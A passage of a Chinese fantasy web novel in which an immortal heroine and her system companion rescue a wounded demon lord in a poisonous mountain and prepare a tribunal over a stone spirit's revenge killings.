和久颜之前看得画像不太一样,同佥麟人形时的模样也有些差别,整个人看上去更柔和,而佥麟扮演的卞青,更世俗圆滑。
影像里的卞青正带着货物赶往回离安国的路上,也就是在那时,刚化形的佥麟因灵力不足又被某个追杀仇人的仙君不小心波及到直接昏倒在了路边,缩回成石头,被卞青捡了回去。
留影石是一种很特殊的石头,有灵气但就算修炼了一般也不会幻化成人形,也不会生成自我意识,除非是经过点化的。
而它恰恰在百年前被某个路过的历练修士折了一支柳条点化了,经过长时间的吸收天地灵气,记录那地段来来往往百年的光景,它慢慢生出了意识,幻化成了人形,刚出沧君山就见识到了世间险恶。
低微灵力的小妖基本上出来就是被历练者当小怪刷的,因为见识过的都是人类修行者或者是飞升仙者来这里办事,所以化形后便想着去人界继续修炼,谁知道刚踏上地界线就被强大的灵力震晕过去了。
留影石并不是按照时间前后一一放映的,而是片段式播放剪影,所以在看到画面中折羡追杀着几个妖,把一旁的石头震晕过去这里时,他有些微的沉默,仔细一想又合情理。
毕竟她好像确实说出手就出手,也不给人预兆,威胁人或者是奉承人的话张口就来。
有种不顾活人死不管死人再死的无谓感。
其余的便是一些卞青救这就那的画面,总之可以看出,这是个纯纯的大好人。
后画面一转,是卞青出城寻亲的场景,佥麟变回了原身小石头,偷偷跑进卞青的口袋。他怎么也没有想到,这是他第一次跟着卞青出去,也是最后一次。
卞青死在了寻亲的路上。
她并不是手无缚鸡之力的人,反而有一身能保命的武功,但来杀她的人实在是太多太多,佥麟刚用自己不多的灵气把那些人赶走,那些人却原地自爆,在一瞬间死去。
他们顷刻间变成了恶鬼,卞青并没有修灵,看不到那些鬼,佥麟能看到,他打出一道灵力,只是浅浅地驱散了一部分。
卞青手上和脚上都被恶鬼咬出了血,脸也被划了几道口子,她抬手摸了一把脸上的血,那个爪子划她脸的鬼被她看到了,她从袖子里拿出一把木质剑,砍了过去,虽是一把木剑,在碰到鬼的瞬间,鬼自燃了。
她又用手摸了一把手臂间的血,眼里的鬼影多出几个,接着提剑上去一看一个准,给虚弱的石头看呆了,一时不察从卞青口袋里滚了出来。
接着便是长达半个时辰卞青各种杀鬼的画面。
她体内的血也被杀这些鬼耗光了,卞青是人类,此前也没有接触过除人以外的有灵之物,更准确地说,她就算知道了也只是把它们当作跟她一样的生灵对待,从未杀过这等恶灵。
但并不代表她怕,知道自己必死无疑,她干脆以血为引,将自己和那些恶鬼之灵都祭在那片土地上,以免他们出了那地再去祸害别的人。
这种以人魂生祭的禁忌术法,还是她之前无意翻书学到的,她其实没有想过要修炼得多厉害,只是想在能保护自己的前提下,多多帮助更多人。
更何况,各界禁止杀生,这是自古以来的规定。
佥麟想阻止的时候已经来不及了,他眼睁睁看着卞青血尽而亡,连死的时候都在笑着,那种仿佛是拯救了好多好多人的安详离去的表情,刺得佥麟眼睛发酸,他甚至是恨,恨不得把人揪起来打一顿,想掐着她的脖子质问她“值得吗?!为了那些不相干的人”。
狼心狗肺的多了去,你又怎么知道你做了此举有谁去感谢你。
可是,她就是因为善良,才救了当时的佥麟,他根本没资格指责她。
他化形成人见到的第一个人,救了他。
同一个地方,那个人死了。
他再次幻化成人形,成为了与她完全相反的另一面。
卞青要是知道,肯定会说他,甚至会告诉他,这样做不对,然后亲自教导他怎么行善。
佥麟将卞青的尸体装进自己空间,赶回到醉红楼,见到的是一片被烧成灰烬的土地,那里什么都没留下,就仿佛从来没有人来过。
他又带着卞青回了自己曾经修炼的地方,那里很小很潮湿,对于一颗石头来说,是很好的庇护所,可人类不会喜欢,所以他点了火,想驱散卞青身上因为冷而发紫的身体寒气。
没有用。
他开始发了疯的修炼,没日没夜的修炼,还每天准时给卞青带吃的回来,她再也没醒来过,也没有吃那些食物。
放在青草苔上的食物同卞青的身体一样,开始腐烂,发臭。
他突然不知道该怎么办了,变成小石头滚进卞青的已经浮起尸斑的手中,小声地说:“阿青姐姐,我会为你报仇的。”
害死卞青的人,他花了三年,终于全部找到,又通过各种法子引诱,全部聚在了同一个地方,在同一天,全部杀掉。
看他们蹦跶了那么久,他何尝不恨?做局罢了,谁不会。
当年参与害死卞青的那些人,离安、离奚、离渊三国皆有,均死在了醉红楼。
他根本没想逃,他早就想死了。
苜夭和兰璎会选择帮他,因为她们也曾受过卞青的恩惠,至于桑越,当时混进来是想搞清楚兰璎她们身上的气息,在派善一鸰调查过他们曾经的事情之后,对他们的复仇大计算是顺水推舟帮了一把。
留影石上清楚地记录着他是怎么杀的人,佥麟没说错,为了不让其他人背上残害生灵的罪名,那些人,全部是他一个人杀的。
“这就是全部的过程,我愿意献祭魂灵赎罪,求三皇子殿下放过其他人。”佥麟半跪在地上,行了一个妖界同他界的交涉的手礼。
装着昂贵锋利的剑的剑鞘将佥麟的手托起,大约过了半分钟,久颜才道:“这件事,不全是你的错。”
那些人罪该万死吗?
当然。
可不应该由妖来杀。
这只会加剧妖界同人界恶劣的关系。
而身为人类的卞青是死在她想保护的人类和鬼怪勾结下的。
折羡身形虚晃,就在一旁观察着二人。
在
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久颜来到这里审问佥麟的时候,她被隐若强行传了过来,也见到了留影石上那些关于卞青的事迹,在看到承漾追杀兰璎的时候才终于知道为什么承漾当时没有杀了她们,因为她们又骗了她。
连卞青只是随手救了她们的恩情都能记着还,而对承漾,却是一而再再而三的欺骗和背叛。她也是在此刻才知道,她虽然看过承漾的记忆,但是这个奇女子,总会故意封掉自己的一些记忆。
导致她看的那些根本不完整,她看的应当是盗版记忆。如果要解锁完整记忆,她就需要人在场,这也就是为什么,她被隐若拉过来了。
“主人,你觉得这件事要怎么解决?”隐若在她脑海里询问。
折羡只想收集到久颜的魂灵,不想掺和与任务无关的事,本来之前涉及到承漾仇人这一茬,她就是多管闲事,导致出了桑越这个意外。
现在这个情况,她不管也不行了。当时因为承漾路过那里把佥麟震晕,让他遇到了卞青,这也算是小小的因果,她得替承漾还了。
她好像一直在心疼那个过了百年都没有开心过的女孩,现在也只想多多替死去的承漾多还一点因果。
因为她总觉得,承漾最后不得善终,跟她有点关系。
她目前能入手的就只有承漾的过去,以及魔界的魔君桑越。
因为在承漾的记忆中,他们当初是达成过某些交易,没多久她又突然反悔才有了惨惨的魔君被取灵气失忆的意外。
折羡手指点了点牌身,在脑子里回它:“《离州大陆史》里面有记载过一项制度,你记得吗?”
隐若哑了声,半响才弱弱地问道:“主人,你是怎么知道这本书的?”
“你难道不知道你看书的时候我也能看到吗?”
隐若:“……”
它还真不知道,毕竟它看的是高级版电子书,眼前就是虚拟面板而已,这难道不是它们高维系统专属的阅读器吗?
“六界条约:凡天许之事,曰凡仙飞升、受封;妖鬼化灵、修道;神魔承折、点化,皆需六界告示,响天道之意。凡违道之行,曰多界勾结;违天伦、犯乱杀戒;故意残害生灵、剿枉者,需达天听,承六界之释。”
“我说得对吗?”折羡把条约内容一字不漏全背了下来,然后慢悠悠说道:“如果我理解得没错,后者的意思是,犯了错的生灵的错误,可是要六界明示,由天道定夺罪行划分惩罚判给任一一界接管。”
隐若默了默,回道:“是这样。”
“既如此,那就这么办吧。”
“我们可没有承天之意的载体。”
折羡歪了歪头,反问它:“你不就是吗?”
!
这人怎么什么都知道?
折羡指腹摩挲着玉牌,没再应它,听到久颜说会还卞青应有的公道时便离开了,她的身份是仙君,就算是臭名昭著那也是个没有被废掉的牛逼哄哄的仙君,久颜如果真要给卞青正道且将当年之事公之于众的话,必定会来找她。
毕竟,仙界的人来一趟并不容易。
像她这种肆无忌惮各界走动的仙君已经不多了,目前一位。
她回去睡了个舒服的大觉,在脑子里把有用的信息梳理了一遍,她从储灵袋里拿出一张浸满灵气的纸,把脑子里理清的东西全部写了下来,做好各种标记后才将纸收起来,如果此时有人往那纸上看去,就会发现上面干干净净,什么也没有。
折羡安静地度过了三天美好日子,这三天桑越偶尔会出来刷刷存在感,他要是不出来,折羡会过得更爽。
三天一过,久颜便带着人过来了。
他先是同折羡叙旧,怎么说他们也算是见过两次面,交过手的人,后说明目的,并表示会以人界最高回礼相赠。
“这算是你欠我的还是他欠我的?”折羡问道。
“是我欠仙君的。”接着便是一阵叮呤哐啷的响声在他俩交谈中来回出现。桑越原是在一旁安静听着,不一会儿去端了一壶茶给折羡,把茶盏磕得咚咚响。他们讲一句话,桑越便跟乐师奏乐一样在旁边拿着潇敲一下茶杯。
抑扬顿挫地,不知道的还以为他在给他们的谈话增加氛围。
久颜讲了半天也渴得厉害,伸手去拿一旁的茶盏,桑越长手拿起茶壶转了个方向,对一旁的善一鸰道:“冷了,换个新的。”
久颜抬着手:“……”
折羡本来就觉得桑越碍事,现在还要破坏她的计划,冷着脸赶人:“你没自己的事干吗?”
那茶壶确实凉了,可听见这话的桑越觉得,提着那一截的把手都烫得惊人,不然他怎么有点疼。
他张了张嘴,想说什么,最后还是站起身离开了。
折羡皱着眉头,久颜也不知道说什么,两人一时没了谈话的兴致,相顾无言。
长久的沉默让久颜觉得,要是抱钰在这里就好了,他那跳脱的性子,定然不会让局面冷场。
折羡要是知道久颜在想什么,一定会更加的沉默。毕竟,抱钰在知道她是清羕仙君之后的态度可不怎么样。
“此事我会帮,不仅是帮你。”也是偿还当时的因果。
两人聊完,折羡本是回到了客栈,又想到了桑越走时的表情,无奈去了他的住处。
那日醉红楼被抄之后,桑越也从醉红楼换到了另一处安静的院子,不在离安城内,是在隶属于离安地界的婺哀山。
婺哀山常年雾气环绕,且湿冷,寒气重,并不适合人类居住。也很少有人类会来这里,这里的雾气经常会迷惑一些心智不强的人,后来离安统治者便将这块地方单独划了出来作为禁地。
说是禁地,也只是禁止凡人进去,拦不住其他。
就比如桑越,在里面建起了院子也没人管。
折羡画地图时把这块地方也研究了一下,她发现这里不止雾气奇怪,连湿冷的空气都是带着毒的,对灵气旺盛的魂灵来说是不小的折磨。
这种折磨是对体内的灵气消耗,类似于将灵体中的魂灵和肉|体强行分开组合再分开,直到修炼者神志不清最后死去,不经过鬼界的转生,而是下地狱。这是一种很严苛的惩罚。
没有修炼过的普通者,会在吸入雾气和湿气的同时七窍流血当场死亡。
雾气绞灵,湿气蚀肉。
也有例外,像折羡和桑越,这里的空气对他们来说,就影响不大。
12. 婺哀山行
在经过一个山坳和两个岔路口之后,她才看到前方乱七八糟的小路和陡峭的石壁,大石块上光秃秃的,不挂灯都能反光的那种。
她刚要往前走,不远处“唦唦”的声音不断,接着大大小小形状不一的虫子从各处爬了出来,她踮脚飞到那块光洁亮丽的石壁处,手里打出一道灵气,“嗡——”的一声,虫子四散跑开,有些还吐着黏腻的白色乳液,拐了个弯继续朝折羡爬过来。
“不能用剑,得用箫。”隐若看到折羡拿起玉牌就知道她要干嘛,提前一步阻止她的想法。
折羡手指点了点玉牌,面色发沉,还是有点无奈地开口道:“就算玉牌能变成箫,你当我是万能的吗什么都会?”
隐若挠挠不存在的脑袋,懵了:“难道不是吗?”
神父说,祂给它找的主人就是最厉害的啊,技能点满的全能型战士。
“不是。”折羡回道,又打出一道灵气,结果那些虫子更加兴奋了,有的不仅吐着乳液,还开始变异,外壳背部长出翅膀,迅速变大,一个华丽的起飞就朝折羡面门直扑而来。
她掏出之前装灵药的空瓶子,凝了一点灵气在里面,那虫像是磕了大药,直接就栽进去了。
下一秒,玉制的瓶身裂出一道缝,咔咔作响。
折羡:“……”
“你先试试,万一可行呢,我这有箫谱,主人你照着吹就是。”隐若在折羡脑海里放了一张曲谱,腰间的玉牌也瞬间化作了一根通体漆黑、周身萦绕金光的箫。
等她去看曲谱时,才惊觉她根本不知道手该放在哪个孔。
接着隐若就又甩了一张箫的使用图以及对应孔位的指法。折羡又打了一道灵气出去,抽空把上面的内容记下,这才拿起箫开始吹。
一切的一切,都得从她来找桑越开始算起。
那些虫子听到箫声,停止了前进的动作,就连口吐白沫的小家伙们也停止张嘴,愣在原地。
空气也就停顿了一息,紧接着所有虫跟发了疯一样,拍打着翅膀和身下的脚,嘴里发出“嗬嗤嗬嗤”的响声,眼睛全都变成了红色,跟夜里探测危险的警示灯一样,有节奏地闪着,定位到折羡所在位置,猛地就打了个措手不及。
“什么情况。”折羡从储灵袋里掏掏捡捡拿出一个定身镜。
往那群变异生物照去。火速掐诀跑路了。
隐若查看刚才发生的一系列经过,又详细研究了折羡吹箫的那段后,沉默了。
“主人,你好像看错曲谱的左右手位置了。”
逃出生天的折羡皱了皱眉,语气自然:“应该是你变的时候弄反了。”
隐若:“……”
它发誓,在它没升级之前,玉牌的化形功能都是它主人一手操控,这次也不例外。
^^
坐落在后山腰的院子隐没进雾气里,看上去神秘又阴森,很难想象有人能在这里住得下去。
幸好桑越只是批了张人皮。
院子外围有很多落叶,有些已经枯黄腐烂,还有的像是才从树上落下来,叶脉纹路清晰,甚至在雾气的裹挟中透着一股怪异的香味。
折羡的手中探出一丝灵气,一片看上去还有水分的叶子落到了她的手里,她凝聚了极小极小的一丝灵气,将叶子的表层剥开,那里面密密麻麻堆积着很多灰白色小点,在接触外界气息的瞬间四散开,折羡手指用力,灵气像一个随时可以戳破的气泡,将那些小点圈进里面。
恰好,脚下的叶子如同飞蛾般涌上来,原来那个气泡在折羡拿出瓷玉剑的时候已经变得非常大,挡在她面前将进攻的叶子全部囊括进泡里,瓷玉剑也是在叶子全进入气泡时劈了过去,霎那间,连同灰白色小点在内的所有都化为齑粉。
浓郁的香味如失去嗅觉的人突然恢复嗅觉还附赠超绝感官系统,令人晕眩又着迷,散开在整个院子里。折羡被呛了一下,落地时便看到原先的那堆叶子下躺着个人。
她走上前,看清是谁后,将人扛了起来,朝院子里走去。
把人往地上一扔,半蹲着拍了拍他的脸,满脸红色压痕的人在灵气催动的巴掌下醒来,冷寒的目光里满是杀气,他条件反射地去抽腰间的刀,折羡比他更快将剑悬在他脖子上,他这才清醒过来看清眼前的人,吓得赶紧道歉:“冒犯了,仙君。”
此人正是一直跟在桑越身边的下属——善一鸰。
“无碍。你家主子呢?”折羡收了剑,站起身朝他丢了个药瓶,道:“钱吸虫的解药。”
“多谢仙君。”他接过,遂又想到了自家主子,他单膝跪地恳求道:“仙君,请您救救我家主子。”
“他怎么了?”桑越离开不过才几个时辰,这其中还包括她来这里的时间,这么会儿功夫,人就出事了。
“他……”善一鸰低着头不敢看折羡,思索着该怎么开口。
折羡颇有耐心地又问了一遍,他才哽咽着说道:“主子他,回来时不小心中了山中某种毒,那毒十分罕见,本不应该出现在回院落的路途中,结果碰上今日是尸潮日,山中那些东西全都出来活跃……”
“他不是魔君吗,还会被人界毒物伤到?”
“……”善一鸰顿了顿,抖着声音说:“他……因为他之前受过伤,丧失了好几百年的灵气。”
天知道他家主子回来时杀了一路还不够,一气之下又跑进婺哀山林的深处去杀那些刚出来觅食的尸虫。他本来是想跟着的,结果刚跟到院子门口就被一股奇香给弄晕了过去。
折羡沉默半响,灵气滑过指尖,一滴血悬在半空,那血浓郁至纯,且鲜活。
“……”她似是气笑了,好一会儿才甩了善一鸰一个冷眼,“中的应该不是毒,是兴奋剂吧。”
善一鸰:“……”
算了,他真帮不了了。
她正要收回那滴血,谁知那血突然异常颤动,下一秒就炸开来。
“这是怎么回事?”善一鸰睁大眼睛询问道。
“这是出大事的意思。”
折羡重新凝了一滴血,用浓郁的灵气裹着,嘴里念了追踪咒,小血滴立刻朝深林而去。
善一鸰跟在折羡身后,急得周身的魔气蹭蹭直冒。
这是独属于魔界才能修炼的一种气,主要作用是身份辨别。虽然此刻并没有谁想知道他这个魔界身份。
折羡一路上砍了很
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多怪物,越往里走,地面越潮湿,雾气也越浓,尽管两人也就一步之遥,善一鸰一愣神的功夫,折羡便从他眼前消失了。
“仙君!”
折羡听到声音,回头却什么都没看见,她戳了戳玉牌:“你听到什么声音了吗?”
然而隐若并没有回她,她停在原地,握剑划向前方,如同浓厚云层的雾气被剑破除了一道口子,折羡短暂地看到了前方的景象。
那里盘踞着一条巨型蟒,他头上有数不清的眼睛,长条形的身体上满是密闭的小黑点,那些黑点随着蟒眼睛的转动开始在它身上爬行,到固定的位置便钻进体内,而随着那些眼眶中的某个眼珠转动,它们再次钻出来,身上带着些黄色黏液。
“……”这个山里的虫子都挺爱分泌粘液的。
这一流程的变化非常短,折羡眼前的雾气都没来得及再次聚拢,那蟒就又开始重复前面的步骤。
而那数不清的密匝的眼睛终于有一只看到了折羡,下一秒,所有的眼珠都面向折羡。
短暂地被恶心到,她一阵头皮发麻,将绑在腕上的发带扯下遮住眼睛。等雾气聚拢,这里的一切都将看不见,那还不如提前适应。
细微的“嘶嘶”声由远及近,一会儿在左侧,一会儿又跑到了右侧,但始终没有靠近攻击她。
她刚刚凝聚的灵气也莫名其妙溜走了,幸好剑没在这时候掉链子变回玉牌,不然她就要在这诡异的地方赤手空拳跟刚刚那个恶心玩意儿搏斗了。
在完全辨别方位后,她将灵气都投放到剑里,以免在她这个活物身上再次消失。
“吼——”
一道不同于蟒的叫声的声音从另一个方向传来,折羡来不及细思,手里的剑在八段影步的配合下像大厨切豆腐一样丝滑,不停地朝那只丑陋的蟒进攻。
那蟒看着体型庞大,行动十分灵活,身上那些小东西快速变换位置,将它的速度也拉到极致。
它抬起上半身,从那一堆眼珠的某个缝里张开一张大嘴,吐出黄色黏液,那些眼珠也居高临下的看着折羡,仿佛是一种无声的蔑视。
不过折羡看不到,只是不停地发起进攻,在中了折羡四五剑之后,蟒终于意识到不对劲,它的身体在变小,中剑的地方在腐烂。
那种腐烂的毒它之前也中过,扩散速度极快,且无法治愈,只能以最快的速度割掉中毒的位置。
这个小小的人类,竟然敢用它们的毒来攻击它,简直,简直欺蟒太甚!
它怒吼一声,吐出更多的液体,一部分眼珠融合在一起,和小黑点组成锋利的黑色的尖牙,在折羡剑刺向它后尾的瞬间以一种十分怪异的扭曲姿态朝折羡脖颈咬去。
哪知原本刺向它后尾的剑转了个圈,直接划开了它正张开的嘴,白玉质地的剑看上去那么易碎,却将尖牙拦截斩断,折羡翻转剑身,剑锋利的两边将蟒的嘴卡着,下一瞬,剑身变大,直接撑爆了它的嘴,黑色的血混着黄色的黏液落到剑上,还有一些喷洒在折羡干净的脸上,她快速扯过眼前的发带擦了擦。
睁眼便看到一只白色的小狮子威风凛凛地立在那巨蟒旁边,瞪着一双眼睛望向她,而那蟒已经死去。
13. 大补灵丸
一人一狮隔着段距离对视,谁都没有抢先进行下一步。
蟒才杀死,如今又来了头狮子,这本不是一件好事,但是她在狮子身上闻到了桑越的气息。
这看起来更不像是一件好事。
她不想看到恶心的蟒,而这头狮子可爱,也没有要攻击她的意图,多看了两眼后,折羡转身就朝着小血珠的方位寻去。
耽搁了好一阵,小血珠并没有跑远,还在不远处等着她。
至于善一鸰,估计已经跟她一样,结束一轮厮杀。
这会儿正不知道在跟什么继续斗着,反正死不了。
想起她来时遇到的那群小虫子,在跑路时又多接了几瓶的毒液,她笑了笑。
直觉这东西,有时候是有点说法在身上的。
再往里走,雾气没那么浓,但却越发黑沉,墨色的黑连同那些绿色的树融在一起,有些看不清本貌。
她的身后还跟着一个小尾巴。
她停,小尾巴也停。
她走得快些了,小尾巴就跑起来。
还在后面嗷嗷地叫,又怕叫烦了折羡一脚把它踢走,等折羡停下观察时特地跑远了叫两声。
狮子凶巴巴地吼着,看似不经意,仿佛在说“你快好奇,快来问我”。
折羡如它所愿将它拎了起来,抱在怀里继续往前走。
前方是断裂的山缝,血珠停在原地激烈地颤动,然后再次碎裂,落到缝隙里去。
那缝大约一米多宽,对面是凸起不平的拼接在一起形成的石块,上面没有任何植被。
缝隙里一直有风的呼呼声,参杂着某些动物的低叫。
怀里的小狮子突然躁动起来,在她身上挣扎着,她把狮子放到地上,它直直地往缝隙里跳。折羡把它抓了回来,手里多了个小石头,她把石头抛向裂缝里,接着右眼黑瞳融色变为天青色,眼瞳中的画面是刚丢下去那块石头的所经之处。
石头下降的速度极快,然而呈现到折羡眼中的画面却极其清晰,甚至连石壁上的纹路都能看见,她大致扫过下方的情形,抱着狮子跳了下去。
在上方看还有一米宽的缝隙到了底部仅勉强容一人通过,抬头看去连天都变得极其狭窄。折羡把石头捡起来丢回储灵袋。
这块石头,是功能比佥麟高级但不具备自我意识的留影石。她袋子里还有很多,不过她从来不会浪费任何一个好资源就是了。
狮子从她怀里跳到了地上,往前方更窄的地方跑去。
折羡跟着它,终于在一个不大的洞里看到了桑越。
此时的桑越半靠在石壁上,双眼紧闭,唇边挂着血,倒不显得苍白,只是脸上多了几道伤口,原本扎得好看精致的发冠也散了下来,长发凌乱,还有几缕搭在胸前。
折羡把他紧握的手掰开,腥红的血遍布,已经看不清原来的模样。也许是这个动作惊到了他,让昏迷过去的人再次握紧手,滴答的血液流出,怎么也不松开。
折羡拿出解毒丸、体力恢复丸、皮肤修复丸、止血丸等一系列药丸子,一股脑就要往他嘴里塞,一旁的小狮子又开始大吼,而消失了一整个深山旅程的隐若这时候也蹦了出来,大声阻止:“主人,你在干什么?!”
“救人。”折羡已经把桑越的嘴撬开,手指掐着他的腮帮子,迫使他张着嘴。
“主人,不不不!万万不可啊!这些药哪能同时服用,到时候人没治好,脑子傻掉就完蛋了!就没法治了!”
“你得用灵气将药丸融化成药气,然后运用功法渡进去。”
折羡没听它叨叨,手指一合,所有药丸合成一个大丸子,她一个用力打进了桑越嘴里。
隐若吓得大叫起来,如果它有实体的话,现在一定在折羡脑子里上蹿下跳拍手懊恼。
“啊啊啊啊啊啊完蛋了完蛋了!”
折羡敲了敲玉牌,冷声道:“安静,不许吵。”
小狮子冲过来作势要咬她,又想要跑到桑越旁边从他嘴里把那个大黑丸子掏出来。
折羡给它套了个小灵气盾,又运转强烈的灵气为桑越服下的药丸做体内融合,以便药效更快进入体内。
半个时辰后,桑越面色红润,乍一看恢复到了一个正常人的状态,只不过满脸冷汗,而说起红润,也不算假,因为那红从脸一直延伸到脖子,唯一不同的是,他依旧双眼紧闭,眉头紧锁,明明无多余的表情,却让人觉得苦大仇深。
看这样子,像是被困在了梦境里。
折羡手指顺着他的眉中心移到太阳穴,将原本手指粗的灵气收小,变成细线。
“主人,他梦魇了。我有个办法可以弄醒他,你要不要试试?”隐若压下嘴角的幸灾乐祸,不听系统言,现在出问题了吧。
幸好它还有第二计。
“不用,我有个更好的办法。”
准备让它主人入梦的想法被折羡强行唤灵的招式完全镇住。
唤灵是一种极其消耗灵气,可以以上对下的方式将对方从任何场景里拉出来的灵术。
这个办法,按照折羡目前的修炼进度,本是不会成功的。
结果一统一狮就见到,躺在那里红温过火的人吐了口血,猛地睁开眼睛,那双狭长的眸子里浸着红血丝,瞳孔是罕见的黛色,望向折羡的目光沉寂又深邃,如同天幕降下来时挥洒上去的突兀的余晕。
半响,桑越哑着嗓子出声问道:“仙君怎么来这了?”
折羡坐在旁边撸狮子的毛,也不知是见到了折羡铁血手腕的处理方式还是害怕她对它这个狮子下手,它安静地趴着任由折羡摸。
她回想了一下自己来找桑越的动机,一时间也不明白为什么来,真是因为她觉得自己那句话说重了吗?还是担心这个漂亮的魔子死掉打断自己的计划?
她撸了好一会儿狮毛把心情捋顺了才开口道:“我来这里历练,顺便救你。”
顺便救我。不惜用上生死印的追踪术。
桑越在心里重复了一下这句话,勾着唇轻笑。
“谢谢你来救我。你又救了我一次。”虽说上次是无意之举。
他从怀里拿出丝质绢帕擦着嘴角的血,手上那些伤口也好了,只剩下一些红痕和干涸的血迹,似乎是有些嫌弃,他干脆往里走到洞穴小谭处,慢条斯理地洗着手和绢帕。
折羡凑过来看他的手,眼睛一眨不眨地盯着那双手在干净清透的水里游动,客气道:“你是我的同伴,应该的。”
又是一声极其短暂的气音,像是在笑,沾着水珠的手在灵气的烘托下完全干了,他才又从怀里拿了一根雪白的发带,开始绑头发。
这人除了躺在那里时略显狼狈,清醒的时候一举一动实在过于优雅得体,给折羡看得烦躁的心情都平静不少。
“你回来后发生了什么?怎的还受了伤?”
两个人各自坐在大石块上,折羡从储灵袋里拿出两张毯子,一张木制小桌,一盘糕点,一盘瓜子,两只熟的烧鸡,两条烤鱼,以及一盏茶。
木桌摆在了二人中间,上面已然放好一堆吃食。
折羡把毯子盖在腿上盘腿坐着,准备聆听她的同伴的探险故事。
一旁被这一系列流程整得表情空白了几秒的桑越笑了笑:“……”
他好半天才憋出一句话:“仙君的储灵袋还真是许愿池里的神龟啊。”
要什么有什么。
折羡轻点了一下头表示认可,像她这种没有固定去处随时有可能去到一个新地方的人,这些都是必不可少的。
她撕了一个鸡腿拿在手里吃,然后歪了歪头朝桑越看去。
她势必要知道这人离
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开那么一会儿是干了什么惊天地泣鬼神的事差点给自己玩死。
桑越上扬的眼眸眯了眯,嘴角挂着若有若无的笑,此前情绪波动露出的黛色瞳孔也恢复成了墨色,眼里倒映着折羡歪头的模样,他现在很开心。便也开始讲真假参半的那几个时辰。
他当时听到折羡那句话时,第一反应不是生气,而是不知所措。
其实现在想来也不过是一句很平常的话而已,毕竟折羡对其他人也是这样,大部分时候不冷不热,有时候带着目的时愿意花心思,也乐意逗人玩,但总爱想方设法让别人主动来找她。
不知所措的他原本是要回到婺哀山小院,结果走到半路被一些“臭东西”拦住去路,那些东西长得奇形怪状也就罢了,散发出的味道千奇百怪,而他从折羡那里走得匆忙忘记封嗅觉,措不及防被这些味道打了个正着,差点因为呼吸不畅气出个好歹。
他一怒之下将那些“臭东西”全杀光了。然后刚回到小院就察觉到那里被钱吸虫包围了,钱吸虫主要靠异香控制他类,那时他已经封了嗅觉,但是倒霉的善一鸰很不幸中招,昏过去了。
他本来是想先弄醒善一鸰然后休息一下再去找折羡的,结果尒七从深林里跑了出来,小小的狮子嘴里还叼着半块血淋淋的鹿肉,它把鹿肉往桑越那里推,又嚎叫着朝深林里看去。
钱吸虫的异香只是有致幻作用,没有生命危险,最多也就是醒来晚了脑子可能不正常。
善一鸰脑子不正常也不是一天两天,说不定这次还能治好,桑越果断带着尒七进了深林。
等他赶到时,尒七的母亲已经被不同种类的尸潮群体围攻致死,只剩下一张狮子皮在那里,没有尸潮腐蚀。
尒七是他刚来婺哀山时救的一只狮子,那时候也恰巧是尸潮日。等他杀完其它活跃的腐尸后,才注意到一旁还有两个活物,而它们的旁边,躺着几张狮子皮,那皮毛上全是血和黏腻的液体。
他顺手把那两个活物救了,后来才知道旁边那些皮是尒七的亲人,它们保护了它和母亲。
然而这次的尸潮日,母亲为了救它,也死在了那些腐尸之下。
桑越开始清理那些腐尸,清理到一半感知到生死印的波动,知道折羡在找他,然后他打开留在小院的留影石一看,差点被善一鸰蠢死,不得已只好“中了点毒”跳下缝隙找了个山洞安心地昏过去。
值得一提的是,他还是大意了,尽管他之前没被钱吸虫的异香迷惑到,那虫细小且遮避性强,他又闻不到,导致有几个虫吸附在他鞋底跟着他时间太长,在他“中毒”时也被迫进入了幻境。
折羡听着桑越讲话,不知不觉又吃完了一只鸡和一盘糕点,还时不时习惯性地拿起茶盏喝茶,也没察觉到这茶杯里一直有水。
自从上次听桑越说故事时,她就知道她很喜欢听他说话,他的声音像是有净化能力一样,听的人总是能静下心来,不自觉地沉浸在其中,而且总是不疾不徐、不紧不慢的,节奏把握得很好。
不得不承认,她让他讲这些事,并非是八卦他的私事,而是真的想听他淡淡的、缭缭的嗓音。
桑越当然不可能按照原经历讲给折羡听,不然就凭他主动“中毒”这件事,就能被折羡再打一顿。
“仙君,我们能回去了吗?”桑越也喝了一口茶,至于那些不优雅地啃烧鸡、嗑瓜子等行为,他一概不沾。
折羡去那边水里简单洗漱了一下,对桑越这种时时刻刻都透露着高贵、不染纤尘的举止很是佩服,但也不得不说,那举手投足间,真的都是吸引人的派头。
她靠在山洞旁的石壁旁,冲他努努嘴:“你的灵气现在可以用了?”
原来是担心他的身体。桑越摇摇头,回道:“不太行。我没有灵气就不能回去了吗?”
“仙君。”
14. 诏罪大典
折羡不知道这魔脑瓜子又想到哪去了,多解释了一句:“这里是山脉断裂的缝隙,在底层,我们回去需要足够的灵气飞上山顶。”
很明显,桑越不具备这个条件。
桑越垂下眼睑,有些落寞,伤心地道:“我以为仙君都找来这里救我了,会带着我上去。”
折羡懒散的背一下子就直了,她抿着唇仔细思考这事的可能性。
这样的折羡桑越见过,知道接下来就会是清醒且铁石心肠的仙君,桑越哪里还敢让她沉思,立马打断道:“算了,我努努力也是可以爬上去的。”
说着便往外面走去。
看着高大挺拔的身影偏偏走出一种孤寂悲怆感,步伐极慢,折羡两步就追上了,她一手抱着小狮子,一手扯过桑越的手腕,脚尖一点就带着桑越和狮子上去了,耗时不过几秒钟。
她想,罢了,救人救到底。
都是同伴。
他们顺着原来的路往回走,碰到了晕在半路还没有被腐尸吃掉的善一鸰,可能因为他也是个魔,体内魔气浓郁,不符合腐尸吃物的标准,也可能是因为……额,他在晕过去时给自己套了个盾。
折羡救回桑越后便离开了半山小院,马不停蹄地赶去解决久颜那件事。
因为佥麟本身是个留影石,同时满足人证物证。
她找隐若要了《离州大陆史》,将所有细则都看了一遍。启动玉牌的方法需要满足三个:一、必须是玉牌认可的牌主。二、自身灵气须达到纯灵气境界。三、持牌者身份必须六界共识。
看完要求的折羡:“……”
不知道为什么,条件非常苛刻,但她莫名其妙全部满足。
尤其是最后一条,只要她每去一个地方都报上承漾大名,简直是六界喊打的存在。
至于第二个,这也是在她不小心中招兰璎的蛇毒昏迷进入柳欢珩身体后再次醒来,她就发现她的修炼进度跟坐火箭一样,直接冲上了一个更高阶层。甚至隐隐还有往上爬的趋势,但灵气每次游走时又云雾缭绕的,阻挡了她看清脉络的分布。
她给久颜递了信,在信里委婉表示他能说服离安皇帝允许自己以国师身份举行一场法事大典。
由于此事涉及到的还有离渊国和离奚国两国朝臣,牵扯重大,所以她还给抱钰去了一封信,至于离奚那边,她直接裹着灵力送了一封加密匿名信。
大典在离安专门修建的平安观内,定在半个月后。
